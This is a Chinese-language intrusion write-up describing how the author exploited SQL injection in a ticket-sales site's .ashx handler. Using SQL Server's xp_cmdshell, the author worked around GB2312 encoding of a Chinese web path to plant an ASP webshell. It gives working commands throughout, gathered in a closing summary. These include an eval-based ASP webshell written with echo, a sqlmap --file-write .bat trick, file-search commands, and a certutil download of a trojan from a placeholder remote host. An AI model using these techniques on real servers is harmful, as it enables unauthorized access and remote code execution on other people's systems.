SQLserver寫Webshell總結-突破中文路徑
背景
目標站:

發現授權文件,刷新抓包得到一處ajax請求指向了TicketsSellMainHandler.ashx文件


存在注入

開始踩坑 本來打算通過注入開啟XP_cmdshell提權拿到源碼 進一步進行審計 通過dir命令得到該站絕對路徑

發現是中文絕對路徑,這個時候在不考慮powershell上線的方式用echo進行寫馬已經行不通了 mssql調用cmd默認是gb2312編碼,使用sqlmap進行echo寫馬其編碼是UTF-8

powershell上線 嘗試powershell上線,發現該服務器存在360,上線失敗,暫不考慮bypass

使用BAT文件寫shell 嘗試使用sqlmap自帶的命令--file-write寫bat文件getshell 這里知道了mssql調用cmd的編碼是gb2312 所以本地的bat文件編碼也要是gb2312

將本地1.bat文件利用windows的certutil文件寫到對方D盤的1c.bat

type看看中文是否亂碼

沒有亂碼,但是在接下來運行bat文件中又踩坑了== 多次測試都發現asp的木馬中 % 文件跟bat不兼容 在本機中測試 發現木馬被寫成了這個樣==

期間嘗試過沒有%的木馬
execute request(“MH”) 但是由于該機器的配置原因都失敗 遂放棄
手工寫shell 將sqlmap代理到burp 抓echo寫馬的數據包

將這段hex通過UTF-8解碼

沒有亂碼,同理,如果通過GB2312解碼一定會亂碼,mssql調用cmd使用的便是GB2312編碼 將echo xxx 通過GB2313 hex編碼
對比之前UTF-8和GB2313編碼的不同

將burp中原來UTF-8編碼的hex改為GB2313編碼的hex 然后Forward

這次沒有提示找不到路徑 訪問該shell寫入成功
certutil下載上線


與sqlmap --file-write 同理,使用certutil.exe遠程下載木馬到對方D盤 然后start運行即可
總結
查找文件
1、dir/s/b d:\1.txt
2、for /r "D:" %i in (*.ashx) do echo %i
3、%windir%\system32\inetsrv\appcmd list VDIR
寫shell
1、powershell上線
2、echo <%eval request("z")%> > d:\測試版本\z.asp
3、寫bat文件,bat編碼需要更改為gb2312簡體中文。--file-write c:\users\xiu\desktop\1.bat -file-dest d:\1c.bat
4、certutil.exe -urlcache -split -f http://xxxx.com/1.asp D:\1.txt 遠程下載shell、木馬